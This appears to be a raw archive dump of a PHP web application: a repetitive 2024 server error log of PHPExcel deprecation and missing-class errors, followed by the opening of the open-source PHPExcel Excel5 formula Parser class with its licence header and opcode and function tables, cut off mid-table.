/home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [30-May-2024 07:33:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [30-May-2024 07:33:18 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 63 [11-Jun-2024 04:23:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [11-Jun-2024 04:23:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [11-Jun-2024 04:23:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [11-Jun-2024 04:23:22 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 63 [11-Jun-2024 07:00:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [11-Jun-2024 07:00:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [11-Jun-2024 07:00:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [11-Jun-2024 07:00:00 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 63 [12-Jun-2024 20:21:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [12-Jun-2024 20:21:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [12-Jun-2024 20:21:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [12-Jun-2024 20:21:50 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 63 [17-Jun-2024 01:22:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1023 [17-Jun-2024 01:22:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1045 [17-Jun-2024 01:22:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1050 [17-Jun-2024 01:22:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1056 [17-Jun-2024 01:22:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1059 [17-Jun-2024 01:22:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1074 [17-Jun-2024 01:22:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 [17-Jun-2024 01:22:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 [17-Jun-2024 01:22:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [17-Jun-2024 01:22:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [17-Jun-2024 01:22:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [17-Jun-2024 01:22:05 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 63 [17-Jun-2024 01:22:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 879 [17-Jun-2024 01:22:06 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 63 [19-Jun-2024 10:48:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [19-Jun-2024 10:48:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [19-Jun-2024 10:48:08 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [19-Jun-2024 10:48:08 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 63 [23-Jun-2024 05:39:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [23-Jun-2024 05:39:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [23-Jun-2024 05:39:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [23-Jun-2024 05:39:30 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 63 [23-Jun-2024 17:23:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1023 [23-Jun-2024 17:23:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1045 [23-Jun-2024 17:23:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1050 [23-Jun-2024 17:23:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1056 [23-Jun-2024 17:23:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1059 [23-Jun-2024 17:23:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1074 [23-Jun-2024 17:23:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 [23-Jun-2024 17:23:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 [23-Jun-2024 17:23:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [23-Jun-2024 17:23:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [23-Jun-2024 17:23:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [23-Jun-2024 17:23:06 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 63 [23-Jun-2024 17:23:06 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 879 [23-Jun-2024 17:23:06 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 63 [25-Jun-2024 07:33:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1023 [25-Jun-2024 07:33:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1045 [25-Jun-2024 07:33:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1050 [25-Jun-2024 07:33:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1056 [25-Jun-2024 07:33:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1059 [25-Jun-2024 07:33:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1074 [25-Jun-2024 07:33:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 [25-Jun-2024 07:33:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 [25-Jun-2024 07:33:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [25-Jun-2024 07:33:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [25-Jun-2024 07:33:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 667 [25-Jun-2024 07:33:47 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Workbook.php on line 63 [25-Jun-2024 07:33:48 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 879 [25-Jun-2024 07:33:48 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 63 [28-Jun-2024 06:22:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1023 [28-Jun-2024 06:22:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1045 [28-Jun-2024 06:22:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1050 [28-Jun-2024 06:22:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1056 [28-Jun-2024 06:22:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1059 [28-Jun-2024 06:22:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1074 [28-Jun-2024 06:22:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 [28-Jun-2024 06:22:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 [28-Jun-2024 09:26:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 879 [28-Jun-2024 09:26:58 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 63 [29-Jun-2024 03:50:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 879 [29-Jun-2024 03:50:27 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Writer_Excel5_BIFFwriter' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php:63 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Worksheet.php on line 63 [29-Jun-2024 04:10:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1023 [29-Jun-2024 04:10:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1045 [29-Jun-2024 04:10:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1050 [29-Jun-2024 04:10:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1056 [29-Jun-2024 04:10:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1059 [29-Jun-2024 04:10:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1074 [29-Jun-2024 04:10:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 [29-Jun-2024 04:10:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Writer/Excel5/Parser.php on line 1175 PHPExcel/Writer/Excel5/Parser.php 0000644 00000200710 14642534110 0012522 0 ustar 00 <?php /** * PHPExcel_Writer_Excel5_Parser * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_Excel5 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ // Original file header of PEAR::Spreadsheet_Excel_Writer_Parser (used as the base for this class): // ----------------------------------------------------------------------------------------- // * Class for parsing Excel formulas // * // * License Information: // * // * Spreadsheet_Excel_Writer: A library for generating Excel Spreadsheets // * Copyright (c) 2002-2003 Xavier Noguer xnoguer@rezebra.com // * // * This library is free software; you can redistribute it and/or // * modify it under the terms of the GNU Lesser General Public // * License as published by the Free Software Foundation; either // * version 2.1 of the License, or (at your option) any later version. // * // * This library is distributed in the hope that it will be useful, // * but WITHOUT ANY WARRANTY; without even the implied warranty of // * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // * Lesser General Public License for more details. // * // * You should have received a copy of the GNU Lesser General Public // * License along with this library; if not, write to the Free Software // * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // */ class PHPExcel_Writer_Excel5_Parser { /** Constants */ // Sheet title in unquoted form // Invalid sheet title characters cannot occur in the sheet title: // *:/\?[] // Moreover, there are valid sheet title characters that cannot occur in unquoted form (there may be more?) // +-% '^&<>=,;#()"{} const REGEX_SHEET_TITLE_UNQUOTED = '[^\*\:\/\\\\\?\[\]\+\-\% \\\'\^\&\<\>\=\,\;\#\(\)\"\{\}]+'; // Sheet title in quoted form (without surrounding quotes) // Invalid sheet title characters cannot occur in the sheet title: // *:/\?[] (usual invalid sheet title characters) // Single quote is represented as a pair '' const REGEX_SHEET_TITLE_QUOTED = '(([^\*\:\/\\\\\?\[\]\\\'])+|(\\\'\\\')+)+'; /** * The index of the character we are currently looking at * @var integer */ public $currentCharacter; /** * The token we are working on. * @var string */ public $currentToken; /** * The formula to parse * @var string */ private $formula; /** * The character ahead of the current char * @var string */ public $lookAhead; /** * The parse tree to be generated * @var string */ private $parseTree; /** * Array of external sheets * @var array */ private $externalSheets; /** * Array of sheet references in the form of REF structures * @var array */ public $references; /** * The class constructor * */ public function __construct() { $this->currentCharacter = 0; $this->currentToken = ''; // The token we are working on. $this->formula = ''; // The formula to parse. $this->lookAhead = ''; // The character ahead of the current char. $this->parseTree = ''; // The parse tree to be generated. $this->initializeHashes(); // Initialize the hashes: ptg's and function's ptg's $this->externalSheets = array(); $this->references = array(); } /** * Initialize the ptg and function hashes. * * @access private */ private function initializeHashes() { // The Excel ptg indices $this->ptg = array( 'ptgExp' => 0x01, 'ptgTbl' => 0x02, 'ptgAdd' => 0x03, 'ptgSub' => 0x04, 'ptgMul' => 0x05, 'ptgDiv' => 0x06, 'ptgPower' => 0x07, 'ptgConcat' => 0x08, 'ptgLT' => 0x09, 'ptgLE' => 0x0A, 'ptgEQ' => 0x0B, 'ptgGE' => 0x0C, 'ptgGT' => 0x0D, 'ptgNE' => 0x0E, 'ptgIsect' => 0x0F, 'ptgUnion' => 0x10, 'ptgRange' => 0x11, 'ptgUplus' => 0x12, 'ptgUminus' => 0x13, 'ptgPercent' => 0x14, 'ptgParen' => 0x15, 'ptgMissArg' => 0x16, 'ptgStr' => 0x17, 'ptgAttr' => 0x19, 'ptgSheet' => 0x1A, 'ptgEndSheet' => 0x1B, 'ptgErr' => 0x1C, 'ptgBool' => 0x1D, 'ptgInt' => 0x1E, 'ptgNum' => 0x1F, 'ptgArray' => 0x20, 'ptgFunc' => 0x21, 'ptgFuncVar' => 0x22, 'ptgName' => 0x23, 'ptgRef' => 0x24, 'ptgArea' => 0x25, 'ptgMemArea' => 0x26, 'ptgMemErr' => 0x27, 'ptgMemNoMem' => 0x28, 'ptgMemFunc' => 0x29, 'ptgRefErr' => 0x2A, 'ptgAreaErr' => 0x2B, 'ptgRefN' => 0x2C, 'ptgAreaN' => 0x2D, 'ptgMemAreaN' => 0x2E, 'ptgMemNoMemN' => 0x2F, 'ptgNameX' => 0x39, 'ptgRef3d' => 0x3A, 'ptgArea3d' => 0x3B, 'ptgRefErr3d' => 0x3C, 'ptgAreaErr3d' => 0x3D, 'ptgArrayV' => 0x40, 'ptgFuncV' => 0x41, 'ptgFuncVarV' => 0x42, 'ptgNameV' => 0x43, 'ptgRefV' => 0x44, 'ptgAreaV' => 0x45, 'ptgMemAreaV' => 0x46, 'ptgMemErrV' => 0x47, 'ptgMemNoMemV' => 0x48, 'ptgMemFuncV' => 0x49, 'ptgRefErrV' => 0x4A, 'ptgAreaErrV' => 0x4B, 'ptgRefNV' => 0x4C, 'ptgAreaNV' => 0x4D, 'ptgMemAreaNV' => 0x4E, 'ptgMemNoMemN' => 0x4F, 'ptgFuncCEV' => 0x58, 'ptgNameXV' => 0x59, 'ptgRef3dV' => 0x5A, 'ptgArea3dV' => 0x5B, 'ptgRefErr3dV' => 0x5C, 'ptgAreaErr3d' => 0x5D, 'ptgArrayA' => 0x60, 'ptgFuncA' => 0x61, 'ptgFuncVarA' => 0x62, 'ptgNameA' => 0x63, 'ptgRefA' => 0x64, 'ptgAreaA' => 0x65, 'ptgMemAreaA' => 0x66, 'ptgMemErrA' => 0x67, 'ptgMemNoMemA' => 0x68, 'ptgMemFuncA' => 0x69, 'ptgRefErrA' => 0x6A, 'ptgAreaErrA' => 0x6B, 'ptgRefNA' => 0x6C, 'ptgAreaNA' => 0x6D, 'ptgMemAreaNA' => 0x6E, 'ptgMemNoMemN' => 0x6F, 'ptgFuncCEA' => 0x78, 'ptgNameXA' => 0x79, 'ptgRef3dA' => 0x7A, 'ptgArea3dA' => 0x7B, 'ptgRefErr3dA' => 0x7C, 'ptgAreaErr3d' => 0x7D ); // Thanks to Michael Meeks and Gnumeric for the initial arg values. // // The following hash was generated by "function_locale.pl" in the distro. // Refer to function_locale.pl for non-English function names. // // The array elements are as follow: // ptg: The Excel function ptg code. // args: The number of arguments that the function takes: // >=0 is a fixed number of arguments. // -1 is a variable number of arguments. // class: The reference, value or array class of the function args. // vol: The function is volatile. // $this->functions = array( // function ptg args class vol 'COUNT' => array( 0, -1, 0, 0 ), 'IF' => array( 1, -1, 1, 0 ), 'ISNA' => array( 2, 1, 1, 0 ), 'ISERROR' => array( 3, 1, 1, 0 ), 'SUM' => array( 4, -1, 0, 0 ), 'AVERAGE' => array( 5, -1, 0, 0 ), 'MIN' => array( 6, -1, 0, 0 ), 'MAX' => array( 7, -1, 0, 0 ), 'ROW' => array( 8, -1, 0, 0 ), 'COLUMN' => array( 9, -1, 0, 0 ), 'NA' => array( 10, 0, 0, 0 ), 'NPV' => array( 11, -1, 1, 0 ), 'STDEV' => array( 12, -1, 0, 0 ), 'DOLLAR' => array( 13, -1, 1, 0 ), 'FIXED' => array( 14, -1, 1, 0 ), 'SIN' => array( 15, 1, 1, 0 ), 'COS' => array( 16, 1, 1, 0 ), 'TAN' => array( 17, 1, 1, 0 ), 'ATAN' => array( 18, 1, 1, 0 ), 'PI' => array( 19, 0, 1, 0 ), 'SQRT' => array( 20, 1, 1, 0 ), 'EXP' => array( 21, 1, 1, 0 ), 'LN' => array( 22, 1, 1, 0 ), 'LOG10' => array( 23, 1, 1, 0 ), 'ABS' => array( 24, 1, 1, 0 ), 'INT' => array( 25, 1, 1, 0 ), 'SIGN' => array( 26, 1, 1, 0 ), 'ROUND' => array( 27, 2, 1, 0 ), 'LOOKUP' => array( 28, -1, 0, 0 ), 'INDEX' => array( 29, -1, 0, 1 ), 'REPT' => array( 30, 2, 1, 0 ), 'MID' => array( 31, 3, 1, 0 ), 'LEN' => array( 32, 1, 1, 0 ), 'VALUE' => array( 33, 1, 1, 0 ), 'TRUE' => array( 34, 0, 1, 0 ), 'FALSE' => array( 35, 0, 1, 0 ), 'AND' => array( 36, -1, 0, 0 ), 'OR' => array( 37, -1, 0, 0 ), 'NOT' => array( 38, 1, 1, 0 ), 'MOD' => array( 39, 2, 1, 0 ), 'DCOUNT' => array( 40, 3, 0, 0 ), 'DSUM' => array( 41, 3, 0, 0 ), 'DAVERAGE' => array( 42, 3, 0, 0 ), 'DMIN' => array( 43, 3, 0, 0 ), 'DMAX' => array( 44, 3, 0, 0 ), 'DSTDEV' => array( 45, 3, 0, 0 ), 'VAR' => array( 46, -1, 0, 0 ), 'DVAR' => array( 47, 3, 0, 0 ), 'TEXT' => array( 48, 2, 1, 0 ), 'LINEST' => array( 49, -1, 0, 0 ), 'TREND' => array( 50, -1, 0, 0 ), 'LOGEST' => array( 51, -1, 0, 0 ), 'GROWTH' => array( 52, -1, 0, 0 ), 'PV' => array( 56, -1, 1, 0 ), 'FV' => array( 57, -1, 1, 0 ), 'NPER' => array( 58, -1, 1, 0 ), 'PMT' => array( 59, -1, 1, 0 ), 'RATE' => array( 60, -1, 1, 0 ), 'MIRR' => array( 61, 3, 0, 0 ), 'IRR' => array( 62, -1, 0, 0 ), 'RAND' => array( 63, 0, 1, 1 ), 'MATCH' => array( 64, -1, 0, 0 ), 'DATE' => array( 65, 3, 1, 0 ), 'TIME' => array( 66, 3, 1, 0 ), 'DAY' => array( 67, 1, 1, 0 ), 'MONTH' => array( 68, 1, 1, 0 ), 'YEAR' => array( 69, 1, 1, 0 ), 'WEEKDAY' => array( 70, -1, 1, 0 ), 'HOUR' => array( 71, 1, 1, 0 ), 'MINUTE' => array( 72, 1, 1, 0 ), 'SECOND' => array( 73, 1, 1, 0 ), 'NOW' => array( 74, 0, 1, 1 ), 'AREAS' => array( 75, 1, 0, 1 ), 'ROWS' => array( 76, 1, 0, 1 ), 'COLUMNS' => array( 77, 1, 0, 1 ), 'OFFSET' => array( 78, -1, 0, 1 ), 'SEARCH' => array( 82, -1, 1, 0 ), 'TRANSPOSE' => array( 83, 1, 1, 0 ), 'TYPE' => array( 86, 1, 1, 0 ), 'ATAN2' => array( 97, 2, 1, 0 ), 'ASIN' => array( 98, 1, 1, 0 ), 'ACOS' => array( 99, 1, 1, 0 ), 'CHOOSE' => array( 100, -1, 1, 0 ), 'HLOOKUP' => array( 101, -1, 0, 0 ), 'VLOOKUP' => array( 102, -1, 0, 0 ), 'ISREF' => array( 105, 1, 0, 0 ), 'LOG' => array( 109, -1, 1, 0 ), 'CHAR' => array( 111, 1, 1, 0 ), 'LOWER' => array( 112, 1, 1, 0 ), 'UPPER' => array( 113, 1, 1, 0 ), 'PROPER' => array( 114, 1, 1, 0 ), 'LEFT' => array( 115, -1, 1, 0 ), 'RIGHT' => array( 116, -1, 1, 0 ), 'EXACT' => array( 117, 2, 1, 0 ), 'TRIM' => array( 118, 1, 1, 0 ), 'REPLACE' => array( 119, 4, 1, 0 ), 'SUBSTITUTE' => array( 120, -1, 1, 0 ), 'CODE' => array( 121, 1, 1, 0 ), 'FIND' => array( 124, -1, 1, 0 ), 